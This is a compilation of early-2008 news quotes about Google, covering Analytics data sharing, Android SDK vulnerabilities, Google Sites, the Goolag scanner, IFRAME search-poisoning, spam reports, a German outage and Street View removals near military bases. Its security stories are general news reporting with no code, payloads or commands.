This page contains some news quotes about Google for year 2008.
Google Android SDK Has Multiple Vulnerabilities
Google Connects San Francisco Homeless
Google Groups Grapples With Porn Spam
Goolag: Google Vulnerability Scanner
Hackers Use IFRAME To Hose Google Users
Annual Google Communications Intelligence Report 2008
Google Down for Many in Germany
Google Pulls Map Images At Pentagon's Request
Google's New Advanced Search Page
iGoogle Gadgets for Google Webmaster Tools
All-Time Greatest Google Songs
More Spam Originating from Gmail
Google Closes Acquisition of DoubleClick
Google Gears on Mobile Devices
Google Reader Accessibility Enhancements
YouTube Finds Its Way Into Spore
Google Book Search Book Viewability API
Google Using Log Data Against Search Worms
Google Malware Diagnostics Pages
Google Indexes 1 Trillion URLs
Google Page Creator Will Be Shut Down
Spammers Using Google Sites To Bypass Filters
Google's Beijing 2008 Olympic Games Content
Google Desktop 5.8 for Windows
Google Press Center Gets Links to Google's Blogs
Yahoo-Google Advertising Agreement
Google Data Centers: Saving Electricity
Google 2008 US Election Trends
Benchmarking now available plus additional opt-in settings
March 5, 2008
"We're happy to announce the launch of two related new Google Analytics features: a beta version of industry benchmarking and a data-sharing settings page. Both are designed to give our customers more choice and better control over their data. We are also launching an integration with Audio Ads today, which we'll discuss in more detail in tomorrow's post. All of these features will begin appearing in customer accounts today, though benchmarking reports may take up to a couple weeks to show data."
http://analytics.blogspot.com/2008/03/benchmarking-now-available-plus.html
Google Analytics Benchmarking Feature, Data Sharing & Audio Ad Charting
March 5, 2008
"Google Analytics has added three major features today, two of those features are related and the third is a standalone feature. Google Analytics users can now have the option of comparing their site's data to industry benchmarks. Analytics users can opt-in or opt-out of the data sharing feature by logging into their Google Analytics console. The third new feature is the ability to see when your Google Audio ads run, in relation to your web site traffic."
http://searchengineland.com/080305-120002.php
Google Analytics Data Sharing
March 6, 2008
"Site stats program Google Analytics offers a new opt-in data sharing setting. Log-in and you’ll see a message dialog, and somewhere below it a link reading “Edit Account and Data Sharing Settings”. That link takes you to the settings page (see screenshot), where you can agree to share your traffic data..."
"“With Google products only”: Google says this will enable advanced advertisement services and improvements with other Google products. As an example use case, Google says you would be able to use an enhanced version of the AdWords conversion optimizer, once available."
"“Anonymously with Google products and the benchmarking service”: When you check this option, Google say they will enable benchmarking* by sharing your data in anonymous form and improve services. All your traffic data will be non-site identifiable, and combined with other anonymous sites which are aggregated. Here, a use-case is to gain a broader context to understand where your site is placed in terms of traffic from related sites."
"Not sharing your data with other Google products at all is also an option. If you do decide to opt-in, data from up to a month before will be shared; opting out will stop data-sharing on that day, according to Google."
http://blogoscoped.com/archive/2008-03-06-n80.html
Google Analytics data sharing options FAQ
"What does data sharing mean?"
"You can decide if you want to share your Google Analytics data with Google, and also have full control over how you share it with us. Visit the Edit Account and Data Sharing Settings page from within your account to opt in to sharing your data "With Google products only" or "Anonymously with Google products and the benchmarking service.""
"What will Google do with my data?"
"Shared data will be used to improve the services we provide you and will help create more powerful features for you to choose from. As they become available, only those who share their data with Google will gain access to these services and features. For example, the upcoming release of industry benchmarking and an enhanced version of AdWords Conversion Optimizer will offer greater insight and flexibility to the customers who have opted to share their data."
"What does it mean to share my Google Analytics data anonymously with Google and the benchmarking service?"
"If you only choose the anonymous data sharing option, Google will remove all identifiable information about your website, then combine that data with hundreds of other anonymous sites in comparable industries and report them in an aggregate form. Google will use this anonymous data to improve the products and services we provide you and enable benchmarking in your account."
http://www.google.com/support/googleanalytics/bin/answer.py?answer=87515
Google Analytics
http://www.google.com/analytics/
Google Android SDK Hits Security Speed Bump
March 4, 2008
"Researchers find ways to exploit outdated and vulnerable open-source image processing libraries in the Google Android software development kit."
"Google's Android software development kit is using several outdated and vulnerable open-source image processing libraries, according to an alert from Core Security, a company that specializes in penetration- testing software."
"In an advisory released Mar. 4, Core Security identified several exploitable heap overflows and integer overflows haunting Android, Google's software stack for mobile devices that includes an operating system, middleware and key applications."
"In all, Core Security lists eight different vulnerabilities identified in the Android SDK, which is currently in beta."
"In a Vendor Statement section of the advisory, the Google-backed Open Handset Alliance says there will be many changes and updates to the platform before Android is ready for users. These changes are expected to include full security review."
http://www.eweek.com/c/a/Security/Google-Android-SDK-Hits-Security-Speed-Bump/
Research firm: Google Android SDK has multiple vulnerabilities
March 4, 2008
"Google’s Android SDK is facing multiple vulnerabilities that are remotely exploitable, according to Core Security Technologies."
"In an advisory, Core Security noted heap and interflow overflow issues with Android and reserved eight CVE identifiers."
"Core noted:"
"Several vulnerabilities have been found in Android’s core libraries for processing graphic content in some of the most used image formats (PNG, GIF an BMP). While some of these vulnerabilities stem from the use of outdated and vulnerable open source image processing libraries other were introduced by native Android code that use them or that implements new functionality."
"Exploitation of these vulnerabilities to yield complete control of a phone running the Android platform has been proved possible using the emulator included in the SDK, which emulates phone running the Android platform on an ARM microprocessor."
"However, Android is a work in progress so fixes for these vulnerabilities are likely to be implemented."
http://blogs.zdnet.com/security/?p=921
Google Android
http://code.google.com/android/
Google Calendar Sync
"Google Calendar Sync allows you to sync events between Google Calendar and Microsoft Outlook Calendar. You'll be able to determine the direction of information flow, as well as the sync frequency."
http://www.google.com/support/calendar/bin/answer.py?answer=89955
What's new with Google Calendar
"Sync your Google Calendar with your Microsoft Outlook calendar"
"Access your calendar however and whenever you want. Check your Microsoft Outlook events on the go with Google Calendar. View your Google Calendar information offline through Microsoft Outlook calendar."
http://www.google.com/googlecalendar/new.html
Google connects San Francisco homeless
March 3, 2008
"Google has announced plans to give every homeless person in San Francisco a phone number and a voicemail account that they can check from any phone in the city."
"The scheme has been set up using the infrastructure from Grand Central, a telecoms routing firm Google acquired last year. Over 4,000 voice mailboxes have been set up for the purpose."
""We are firm believers in the power of technology to improve the daily lives of individuals and communities as a whole," said Craig Walker, a senior product manager of voice products for Google."
""Access to phone and voicemail services is one way that Google can help San Francisco's homeless stay connected with family, friends, social workers, health care providers and potential employers.""
"The scheme is being promoted in homeless shelters around the city as part of Mayor Gavin Newsom's Project Homeless Connect."
""Providing phone and messaging capabilities is an extraordinary step forward in the city's commitment to addressing the needs of this vulnerable community," said Newsom."
"The scheme will let homeless people access voicemails by typing a special code into any phone and will let them record a greeting for callers."
http://www.vnunet.com/vnunet/news/2211011/google-gives-homeless-free
Google Hands Out Voicemail To S.F. Homeless
February 28, 2008
"San Francisco's homeless may lack a permanent address, but some of them are getting free lifelong phone numbers and voice mail, courtesy of Google's Grand Central telephony service and Mayor Gavin Newsom's Project Homeless Connect (PHC)."
"Newsom launched the social program on Thursday at the Bill Graham Civic Auditorium in San Francisco, along with a California Pacific Medical Center initiative to provide homeless women with mammograms."
""Providing phone and messaging capabilities and access to vital health care is an extraordinary step forward in the city's commitment to a comprehensive approach to addressing the needs of this vulnerable community," Newsom said in a statement. "Housing our homelessness residents remains my top priority, and providing these services will certainly improve their quality of life and empower this community to be more self-sufficient.""
http://www.informationweek.com/industries/showArticle.jhtml?articleID=206900885
Google offers free voicemail, phone number to ALL SF homeless
February 28, 2008
"Google said today it is giving a free lifetime phone number and voice mail to every single homeless person in San Francisco who wants one."
"The effort, which part of Project Homeless Connect, will enable a homeless person to check his or her messages from any phone."
"Examples of this could be calling in for messages from prospective employers, or even checking in with their families."
"One homeless man interviewed by San Francisco’s KNTV-TV said:”"
"“Having your family, friends and loved ones being able to say ‘here I’m thinking about you, I love you, I want you to know you’re mine, and I miss you,’ can have a monumental change in one’s behavior.”"
http://blogs.zdnet.com/ip-telephony/?p=3331
Google Contacts API. Own Your Data Across Networks
March 5, 2008
"In case you’re one of the many that are uncomfortable handing out your Google username and password to networks that would like to aid you in the friend invitation process by importing your Gmail contact list, Google now has a better solution for you. Google has finally released the Contacts Data API, which benefits both individual users and developers."
"The Contacts API allows individuals to own their own contact data, use it in any manner they see fit, and import it and export it at will. Several of these benefits spill over to developers, who can now enable users to import and export data, and access their contacts lists without having to give you the personal information of username and password. The Contacts API lets the contacts list be shared across most of the major Google apps, including Reader and Calendar to name a few."
http://mashable.com/2008/03/05/google-contacts-api/
Introducing the Google Contacts Data API
March 5, 2008
"A common contact list has helped power applications like Gmail, Google Reader, and Google Calendar. And now, with the launch of the Google Contacts Data API, we're opening up this contact list to your applications as well."
"Based on AtomPub, the Contacts API can be used to safely read, create, edit, and delete contact information stored with Google, all while keeping users' passwords private via delegated authentication and authorization. Learn the details from Sebastian Kanthak in his announcement post on the Google Data APIs blog, and join the conversation on the Contacts API Group."
http://google-code-updates.blogspot.com/2008/03/introducing-google-contacts-data-api.html
Google Contacts API Released
March 6, 2008
"Google just released a Contacts API as part of their existing GData feeds framework. Google says with this API, your app can get a list of a user’s contacts, edit and delete info in existing contacts, and search in an existing contact. Contacts are shared among Google apps like Gmail, Google Calendar, Google Reader and more. As one use-case, Google says this API allows web developers to import a user’s Google contacts into their apps, as well as export their app’s contacts into Google."
http://blogoscoped.com/archive/2008-03-06-n31.html
Google Releases an API for Contacts
March 5, 2008
"Google wants to make everyone happy today. After releasing a calendar sync tool, Google makes it possible to sync other valuable data: your contacts. The new Contacts Data API "allows client applications to view and update Contacts content in the form of Google Data API feeds. Your client application can request a list of a user's contacts, edit or delete content in an existing contact, and query the content in an existing contact.""
"What's interesting is that the contacts are tied to a Google Account, not necessarily to a Gmail account, so Google could release a separate address book for those who don't use Gmail."
http://googlesystem.blogspot.com/2008/03/google-releases-api-for-contacts.html
Google Contacts Data API
http://code.google.com/apis/contacts/
Google Code
Desktop: More gadgets, more languages
March 5, 2008
"Desktop's last beta release made the beautiful gadgets in our Desktop gallery available for use in iGoogle. Today Google Desktop 5.5 goes out of beta and makes that same functionality available to 31 more languages, now including Thai and Indonesian."
http://googleblog.blogspot.com/2008/03/desktop-more-gadgets-more-languages.html
Google Desktop
Google Groups Grapples With Porn Spam
March 4, 2008
"Over the weekend, pornographic images and videos began appearing on Google Groups pages, along with infectious malware."
""These pages push other porn pages for profit," said Alex Eckelberry, CEO of security company Sunbelt Software, in a blog post. "While not all of the redirects go to malware sites, we did observe some redirects to a site which ultimately pushes a fake codec trojan, which if installed, results in a VirusHeat infection.""
http://www.informationweek.com/news/showArticle.jhtml?articleID=206901462
Smut peddlers and spammers invade Google Groups
March 3, 2008
"Porn peddlers and spammers are upping their assault on Google Groups. Many links on the discussion group site link to porn aggregators, some of which redirect to malware sites pushing Trojan horse malware (such as VirusHeat) disguised as video codecs."
"Anti-spyware firm Sunbelt Software has identified more than 270 Google Groups pages linked to hard core porn which are growing "like cockroaches", the security firm reports."
"Sunbelt has warned Google of the presence of the smutty links and of pointers towards spam blogs promoting anything from "female celebrity smoking" to air conditioners. Many of these sites push searches to MCtop10.info."
http://www.theregister.co.uk/2008/03/03/google_groups_crud/
Google Sites: No SharePoint Killer, But That's Not the Point
March 5, 2008
"So Google has launched a product called Google Sites to compete with Microsoft's SharePoint. Even at first glance it is no SharePoint killer and is (as is normal for Google) more of a Beta product then anything that shows real maturity."
"The real discussion we need to be having is whether these tools are the "productivity" applications they claim to be. Both Google and Microsoft have the means and depth to produce impressive tools, but just because something is usable and quick to deploy does not mean that by definition it is a good thing, particularly when it comes to managing confidential information."
"I'll argue that Google Sites primarily represents a toolset to easily build small Web sites — in particular departmental or collaborative team sites. As with all Google products it has been made usable by simplifying the features and interfaces (in the main a good thing). It has also been bundled with other Google Apps such as Gmail and Docs — though quite why, and how well or logically these bundlings work remains open to question. Hence it is clearly positioned as a SharePoint alternative."
http://www.intelligententerprise.com/blog/archives/2008/03/google_sites_no.html
Google Sites Launched
February 28, 2008
"Google released Google Sites, allowing you or a whole team to build websites with documents, photos, presentations and more. This new service, which was spawned from the Google-acquired JotSpot suite, just works with a Google Apps account, though."
"If you don’t have a Google Apps account, try signing up for one. If you have one, log-in to your domain management dashboard and click the “Add more services” link, where you can then add Sites."
http://blogoscoped.com/archive/2008-02-28-n65.html
Bringing it all together
February 28, 2008
"people are working together in teams more often, with larger groups, and with others who may be in different parts of the country or the world. We are shifting our focus from personal to team productivity. It's less about "you" and more about "us.""
"But with this explosion in collaboration, how do you bring together everything your team needs to work? How do you take information, whether it is on your desktop or online, and share it with specific groups of people -- your team, the company, the public?"
"Meet Google Sites, the newest addition to the Google Apps product suite. It was designed to allow you to easily create a network of sites and share them with whomever you choose. Google Sites lets you pull together information from across Google Apps by embedding documents, spreadsheets, presentations, videos, and calendars in your sites. Of course, we also harness the power of Google search technology so your search results are always fast and relevant."
http://googleblog.blogspot.com/2008/02/bringing-it-all-together.html
Google Sites Launched
February 28, 2008
"After more than a year since the JotSpot acquisition, Google finally launched a service that uses JotSpot's technology: Google Sites. The new service is a part of Google Apps and allows you to create web sites collaboratively. "People can work together on a Site to add file attachments, information from other Google applications (like Google Docs, Google Calendar, YouTube and Picasa), and new free-form content. Creating a site together is as easy as editing a document, and you always control who has access, whether it's just yourself, your team, or your whole organization," explains Google."
"Google offers templates, a rich-text editor, 10GB of storage for each Google Apps account and integration with other Google services so you can embed gadgets, calendars, spreadsheets, presentations, photo slideshows and videos. You can invite people to collaborate or just view a site and you can also publish the site so that anyone can view it."
http://googlesystem.blogspot.com/2008/02/google-sites-launched.html
What is Sites?
"Google Sites is an online application available through Google Apps that makes creating a team web site as easy as editing a document. With Google Sites, people can quickly gather a variety of information in one place -- including videos, calendars, presentations, attachments, and text -- and easily share it for viewing or editing with a small group, their entire organization, or the world. Get started with Google Sites at http://sites.google.com. Key product features:"
"Customize your site's interface to resemble your group or project's look and feel"
"Create a new sub-page with the click of a button"
"Choose from a growing list of page types: webpage, announcements, file cabinet"
"Centralize shared information: Embed rich content (video, Google Docs documents, spreadsheets, presentations, Picasa photo slide shows, iGoogle gadgets) into any page, and upload file attachments"
"Manage permissions settings to keep your site as private or widely editable and viewable as you'd like"
"Search across your Google Sites content with Google search technology"
http://www.google.com/support/sites/bin/answer.py?answer=90447&topic=14062
Google Sites
"Google Sites, a new offering from Google Apps, makes creating a team site as easy as editing a document. Use Google Sites to centralize all types of information -- from videos to presentations -- and share your site with just a few people, your entire organization, or the world."
Google Summer of Code
"Google Summer of Code 2008 is on! Over the past three years, the program has brought together over 1500 students and 2000 mentors from 90 countries worldwide, all for the love of code. We look forward to welcoming more new contributors and projects this year. We are now accepting applications from open source projects who would like to act as mentoring organizations for 2008, and will be accepting these applications through March 12, 2008. We will begin accepting student applications on Monday, March 24th."
http://code.google.com/soc/2008/
Summer of Code is back!
March 3, 2008
"Google Summer of Code, our program to introduce students to open source software development is coming back. In the past three years, we've seen more than 1500 students 'graduate' from this program, working with 2000+ mentors across 90 countries to produce millions of lines of code. We're pleased to have funded more than $10M in open source development through Summer of Code, and we've increased our funding for it this year by another $1M."
http://googleblog.blogspot.com/2008/03/summer-of-code-is-back.html
Google Summer of Code 2008 FAQ
http://code.google.com/soc/2008/faqs.html
Google Talk chatback
February 25, 2008
"Do you have a blog, online profile, or some other personal web page? Would you like to communicate more with your visitors? Today we're launching a new Google Talk feature that lets visitors to your web site chat with you. We call it "chatback" because instead of you doing all the talking on your blog, your visitors can talk back to you. Sure, they could leave comments, but those are public and hard to use for a real conversation. With chatback, it's a real instant message session."
"To use chatback, you must have a Google Talk account ... but your visitors don't have to! They don't even need to have an email address, or to have ever used instant messaging."
"When they visit your site, they'll see a badge like the one on the right showing your online status (available, busy, offline) and, if you're available, they can just click and start chatting. Chatback uses the web-based Google Talk Gadget so your visitors don't need to download anything. It opens in a new window so they can keep chatting with you even if they browse to other pages."
http://googletalk.blogspot.com/2008/02/google-talk-chatback.html
Google Talk Chatback Widget
February 26, 2008
"Google released a new "chatback badge" allowing your site's visitors to chat with you, provided you're logged in to Google Talk at the time. All you need to do is copy & paste a snippet into your site. You can change the title of the badge, also toggle whether you want your status message to show, and adjust your nickname as displayed to guests. (Note that someone can even launch a chatback when they're not logged in to their Google account; the webmaster who included the gadget will just see them as "Guest.")"
http://blogoscoped.com/archive/2008-02-26-n90.html
What's a Google Talk chatback badge and how do I create one?
"A Google Talk chatback badge allows others to chat with you even if they haven't signed up for Google Talk or a Google Account. You can put the badge in your blog or website, and people who visit those pages can chat with you. The badge will display your online status (whether you're available to chat or not) and, optionally, your status message."
"You need to be a Google Talk user to create a badge, and you'll need to be online and available (with a green ball next to your name) in Google Talk to enable people to chat with you. If you're not a current Google Talk user, you'll need to create a new Google Account or sign up for Gmail. If you have a Gmail account, you can use Google Talk with your Gmail username and password. You can also use the Google Talk Gadget; just go to http://www.google.com/talk/ and click 'Launch Google Talk Gadget.'"
http://www.google.com/support/talkgadget/bin/answer.py?answer=86171
Create a Google Talk chatback badge
http://www.google.com/talk/service/badge/New
Google Talk
Goolag program mines Google for hidden, sensitive information
March 3, 2008
"It's called "Google hacking" - a slick data-mining technique used by the Internet's cops and crooks alike to unearth sensitive material mistakenly posted to public Web sites."
"And it has just gotten easier, thanks to a program that automates what has typically been painstaking manual labor. The program's authors say they hope it will "screw a large Internet search engine and make the Web a safer place.""
"Google hacking doesn't mean anyone's hacking the Mountain View company's Web site. Rather, it refers to a sophisticated searching technique used to uncover flaws in the way Web sites handle confidential details, such as public files containing passwords and credit card numbers, and clues about the vulnerability of the site's own servers."
"It works by examining the hidden recesses of a Web site, areas that have been indexed by Google but don't pop up in traditional searches. Sometimes Web sites accidentally post revealing information about themselves, either because employees mistakenly put confidential documents online, or the site wasn't properly configured to obscure sensitive areas."
"Security experts say Google hacking wouldn't be an issue if Web sites had proper security safeguards in place."
"By looking through Google for evidence of specific types of files used by a Web site or telling responses from the Web site's servers, hackers can learn a lot about how the site was built - and thus how to begin crafting their attacks."
http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2008/03/03/BUR0VA4I0.DTL&type=tech
Goolag Scan Scans Vulnerabilities
Feb 26, 2008
"How safe is your private, or for that matter, your organization's critical information on the Web? Not very safe -- an American group of hackers which goes by the name "Cult of the Dead Cow" or "cDc" has released their latest Web tool named "Goolag Scan" that exposes how crippled online security actually is."
"According to its creators, "Goolag Scan" works as a Web auditing tool, and enables anyone and everyone to audit their own Web site through Google. The scanner technology is based on "Google hacking", a form of vulnerability research developed by a hacker named Johnny."
""Goolag Scan" is actually a small .NET program that can be used to search and list out vulnerabilities and private information from across the Web. It can discover Web applications, back doors, or documents that are involuntarily put on the Internet that contain sensitive information like tell-tale error messages, or Java applets for remote control of surveillance cameras."
"The tool provides pre-configured Google search queries in categories such as "vulnerable servers", "sensitive online shopping information", "files containing juicy information", "files containing passwords", and many more. Once you select such sets or even individual keywords, Google looks for them and lists matching results."
"Reportedly, excessive use of the tool will probably alert Google and make them block your IP address."
"According to the tool developers, it can help Web administrators of government, large corporations, and so on, to wake up to the discrepancies their Web base has and fix them immediately before a hacker takes over."
"And for those who don't know, "cDc" was formed in 1984. One of its famous accolades has been publishing the back-door program "Back Orifice", which threw light upon how easy it is to take complete remote control of a Windows PC."
http://www.techtree.com/India/News/Goolag_Scan_Scans_Vulnerabilities/551-87128-643.html
Google-Powered Hacking Makes Search A Threat
February 22, 2008
"Wednesday saw the debut of the latest such tool, which derives its power from Google's vast index. That's when the Cult of the Dead Cow, the self-proclaimed "world's most attractive hacker group," released a Web auditing tool called Goolag Scanner."
""It's no big secret that the Web is the platform," said cDc official Oxblood Ruffin, in a statement. "And this platform pretty much sucks from a security perspective. Goolag Scanner provides one more tool for Web site owners to patch up their online properties. We've seen some pretty scary holes through random tests with the scanner in North America, Europe, and the Middle East. If I were a government, a large corporation, or anyone with a large Web site, I'd be downloading this beast and aiming it at my site yesterday. The vulnerabilities are that serious.""
http://www.informationweek.com/news/showArticle.jhtml?articleID=206801429
Hackers find clever new way to hose Google users
March 6, 2008
"Hackers have found a new way to get Google to point to malicious websites with the help of unwitting websites such as ZDNet Asia and TorrentReactor."
"As a result, at least 20,000 Google search results that appeared to lead to pages on the Asian version of ZDNet and the BitTorrent tracker site actually directed end users to sites that attempted to install malware."
"The hack, which was first documented by Dutch researcher Dancho Danchev, takes advantage of the practice by ZDNet Asia and many other sites of caching search queries typed into their search boxes. The terms are then indexed by Google and other search engines and included in the results they return. Exploiting the weakness is as easy as typing popular search terms into a popular website along with the text of an IFRAME that points to a malicious website. Within time, the strings will be included in results returned by Google and others."
"Google goes to great lengths to protect users against by warning when a website included in search results is believed to be malicious. But at time of writing, queries on Google for "jamie presley," "mari misato" and "risa coda" got one or more poisoned link in the first 10 results. More than 20,000 Google results contained such redirects, according to F-Secure, the antivirus firm ."
http://www.channelregister.co.uk/2008/03/06/googe_iframe_piggybacking/
ZDNet Asia and TorrentReactor IFRAME-ed
March 4, 2008
"This currently ongoing malware embedded attack aimed at ZDNet Asia and TorrentReactor is very creative at the strategic level, whereas the IFRAME-ing tactic remains the same. The sites' search engines seem to have been exploited to have the IFRAME injected, not embedded, within the last 24 hours, redirecting to known Russian Business Network's IPs and ex-customers in the face of rogue anti-virus and anti-spyware applications. For the time being, zdnetasia.com has 11,200 cached pages loading the IFRAME, and torrentreactor.net - 29,300 cached pages loading the IFRAME. Even worse, the IFRAME embedded search results hosted on their sites, are appearing between the first ten to twenty search results, thanks to the sites high page ranks."
http://ddanchev.blogspot.com/2008/03/zdnet-asia-and-torrentreactor-iframe-ed.html
Google Report Highlights Spam As Top Security Issue
March 7, 2008
"Having recently acquired messaging security company Postini, Google now finds itself in the threat-prediction business. And as is the case with just about every other computer security company, Google has research to show everyone how dangerous the online world has become."
"Thus we come to the 2008 Annual Google Communications Intelligence Report."
"Google's security forecast calls for continued spam-blended virus attacks with an increasing focus on identity theft. The attacks will rely on social engineering, the report says, and will rely on messages that reference current events, like the upcoming Olympic Games and natural disasters."
""Further, virus attacks will target executives at specific companies whose intellectual property is deemed valuable on the black market by the hackers," the report says. "These attacks will appear to come from legitimate business agencies, such as the Internal Revenue Service, the Better Business Bureau, and the Securities and Exchange Commission.""
"Google said it expects such incidents will prompt organizations to eliminate live links in customer e-mail communications."
"Google also anticipates an increase in the deployment of outbound message monitoring systems, in the adoption of encryption, and in the use of archiving technology."
http://www.informationweek.com/news/showArticle.jhtml?articleID=206902563
Google says spam is huge corporate headache
March 6, 2008
"Google released a white paper on Thursday about trends in electronic communications systems at corporations and found, to no surprise, that spam is a huge problem and getting worse."
"While overall e-mail message volume per user grew 47 percent, the spam volume was up 57 percent in 2007 to record levels, according to data from Google's Postini cited in the 2008 Annual Google Communications Intelligence Report."
"The average "unprotected user" would have received 36,000 spam messages in the year, up from 23,000 in 2006, the report said."
"Stopping spam and other malware is the top priority for the government, legal, manufacturing and, for the most part the tech industry, while healthcare, financial and retail companies are more concerned with complying with government regulations, according to online surveys of 575 CEOs, CIOs, and CTOs."
http://www.news.com/8301-10784_3-9888233-7.html
2008 Annual Google Communications Intelligence Report
"Executive Summary"
"At the end of 2007, Google conducted an annual online survey of messaging professionals. Providing insight into the major communications trends in the past year as well as the pressing issues and concerns for the coming one, this survey is the result of 575 global interviews with CEOs, CIOs, and CTOs in large, multinational enterprises as well as small organizations."
"This report summarizes the key findings of the survey, including detailed statistical analysis of the key trends in business communications in 2007 and how these trends translate into priorities for business communications professionals in the year ahead. Following the summary of the research findings, the report touches on Google’s expectations for the coming year as well as defines some best practices in business communication to help organizations address the expected challenges in the industry in 2008."
"Key findings"
"1. The number of electronic messages increased in 2007, with spam still a huge issue for most organizations"
"2. Executives look to IT personnel − not end-users − to ensure security and compliance"
"3. IT professionals face serious challenges in reaching security and compliance goals"
"4. Security and compliance challenges negatively impact IT productivity"
"5. Communications security and compliance solutions based on the Software-as-a-Service (SaaS) model can address these productivity issues"
"6. In the year ahead, Google expects the number of threats to stabilize but the complexity of these threats to increase dramatically"
http://www.google.com/a/help/intl/en/security/pdf/cir_08.pdf
Related links:
Postini Whitepapers
http://www.postini.com/whitepapers/
Google Apps Security and Compliance Services
http://www.google.com/a/help/intl/en/security/index.html
Google Down for Many in Germany
March 6, 2008
"Reports are trickling in that Google is down for many in Germany. Hebbet in the forum says it may be a problem with T-Com, meaning those with other providers would still be able to see it. At the moment, I can’t access Gmail, Google Reader, Google Analytics, Google News and so on."
"Update: Google is back now here. It’s 17:32 now, and Hebbet posted about Google being down at 15:43, so that makes it a down-time of at least over 1 1/2 hours. Google Germany sent me this statement, prepared while Google was still down (translated from German): “Apparently this afternoon there were problems with accessing Google through a provider. We are currently investigating the causes and hope that users will soon be able to access Google as usual.”"
"According to a brief Heise.de news item just posted, German Telekom stated that Google was down for them too but that they were not able to see anything wrong with their own net infrastructure. Heise says the beginning of the down-time was “around 15:00”, according to their readers (Golem.de says 16:00 o’clock, quoting a Telekom statement as well, though per Hebbet’s comment mentioned above that doesn’t seem to be quite correct). According to some comments, not just Telekom but also 1&1 users saw Google down, though one user comments that 1&1 is using the IP ranges of Telekom."
http://blogoscoped.com/archive/2008-03-06-n22.html
Google.com Goes Down in Germany For Hours
March 7, 2008
"Seems like yesterday, German Google users were unable to access any of the Google properties including Google.com, Google Mail, Google Groups, Google Reader and so on."
"Reportedly it impacted both Telekom and 1&1 users. Google Blogoscoped is based on Germany and has a lot of details on the downtime. In fact, he received a statement while Google was offline in Germany that translated into:"
"Apparently this afternoon there were problems with accessing Google through a provider. We are currently investigating the causes and hope that users will soon be able to access Google as usual."
"There is also a huge thread at the Abakus German Forum that has tons and tons of German SEOs talking about the downtime. It seems like it was fairly serious. But it is not working."
http://www.seroundtable.com/archives/016487.html
Links:
http://www.webmasterworld.com/google/3592977.htm
http://www.abakus-internet-marketing.de/foren/viewtopic/t-53788.html
Google Caves To Pentagon Wishes
March 7, 2008
"The Pentagon said that Google's Street Views is a threat to national security and made Google pull images taken on streets near U.S. military bases. Google complied with the governmental order, even though the images were taken from public streets. Freedom of information and security butt heads once again."
"The government was concerned that the images, which included views of the entrances to military bases, were a threat. Gen. Gene Renuart, head of the military command responsible for homeland defense, said, "It actually shows where all the guards are. It shows how the barriers go up and down. It shows how to get in and out of buildings. I think that poses a real security risk for our military installations.""
"But the images were taken from public streets, where anyone could walk and take the same pictures and/or video and post them to the Internet. The question remains whether the government had the right to request that the images be removed. While that question is assuredly being debated, Google complied. Google spokesman Larry Yu said, "We have been contacted by the military. In those instances where they (the U.S military) have expressed concerns about the imagery, we have accommodated their requests.""
http://www.informationweek.com/blog/main/archives/2008/03/google_caves_to.html
Pentagon rattles sabre at Google's Street ViewSearch monolith banned from military bases
March 7, 2008
"The US defence department has banned Google from capturing images of military facilities for its entertaining Street View facility on Google Maps following the shock discovery of intimate pics of Fort Sam Houston in San Antonio, Texas."
"It said in a statement that the offending snaps included "360-degree views of the covered area to include access control points, barriers, headquarters, facilities and community areas", thereby posing a threat to national security."
"Google spokesman Larry Yu admitted to the BBC that the drive-by recording of Fort Sam Houston had been "a mistake". He added that Google has "a compliant image removal policy - not only relative to the military but to consumers also", a reference to privacy concerns which last August led the search monolith to agree to obscure number plates and faces on request."
"In the case of the military, Google has wasted no time obscuring the offending facility by removing it altogether from Street View"
http://www.theregister.co.uk/2008/03/07/fort_sam_google/
Links:
http://www.guardian.co.uk/technology/2008/mar/07/google.internet1
http://technology.timesonline.co.uk/tol/news/tech_and_web/article3503624.ece
http://news.bbc.co.uk/2/hi/americas/7282635.stm
http://slashdot.org/article.pl?sid=08/03/07/142259
http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2008/03/07/wgoogle107.xml
http://ap.google.com/article/ALeqM5gJWAqizzLP80ddn0-BHPl7hy1uvgD8V89BT80
http://government.zdnet.com/?p=3695
Google’s New Advanced Search Page
March 6, 2008
"Search Engine Roundtable reports that Google updated their advanced search page. I can’t see it yet, so perhaps it’s still being tested or still being rolled out? Then new advanced page looks more structured and less complicated, as several “more advanced” features (like searching for specific Creative Common licenses, or SafeSearch) have been put into an expandable box. Hovering over the “tip” links to the right will display information boxes right on the page, according to Search Engine Roundtable."
http://blogoscoped.com/archive/2008-03-06-n79.html
Google Updates Design for Advanced Search Page
March 5, 2008
"Google seems to have updated the design of the advanced search form. Here are pictures of the new page design, as I see them right now"
http://www.seroundtable.com/archives/016456.html
Google Redesigns the Advanced Search Page
March 6, 2008
"Google's advanced search page contrasts with the simplicity of the homepage and the search results pages. Most people don't even notice the small link placed next to the search box and those who click on it find the page too confusing. Google's Daniel Russell said that 50% of the people who open the advanced search page leave it without completing the search. This is not surprising if you look at the page: you can choose the language of the search results, the formats, the usage rights, but also add numeric ranges and negative keywords to a query. The most useful features can also be accessed using operators, while the others aren't grouped intuitively."
http://googlesystem.blogspot.com/2008/03/google-redesigns-advanced-search-page.html
Screenshot:
http://groups.google.com/group/Google-Pictures/msg/f083ea7faf3abe9f
iGoogle Gadgets for Webmaster Tools
February 28, 2008
"The Webmaster Tools team strives to serve all types of webmasters, from the minimalist to those who use every tool they can find."
"Now there's something for those of you who would prefer to access only the features of Webmaster Tools that you need: we've just released Webmaster Tools Gadgets for iGoogle."
"Here's the simple process to start using these Gadgets right away. (Note: this assumes you've already got a Webmaster Tools account and have verified at least one site.)"
"1. Visit Webmaster Tools and select any site that you've validated from the dashboard."
"2. Click on the Tools section."
"3. Click on Gadgets sub-section."
"4. Click on the big "Add an iGoogle Webmaster Tools homepage" button."
"5. Click the "Add to Google" button on the following confirm page to add the new tab to iGoogle."
"6. Now you're in iGoogle, where you should see your new Google Webmaster Tools tab with a number of Gadgets. Enjoy!"
"You'll notice that each Gadget has a drop down menu at the top which lets you select from all the sites you have validated to see that Gadget's information for the particular site you select."
http://googlewebmastercentral.blogspot.com/2008/02/igoogle-gadgets-for-webmaster-tools.html
Screenshot:
http://groups.google.com/group/Google-Pictures/msg/ee7fc478e49bb3c4
Google Maps Without the Scripting
February 21, 2008
"the Google Maps API requires JavaScript, can take a while to load over slow connections, and requires some overhead to maintain a dynamic website."
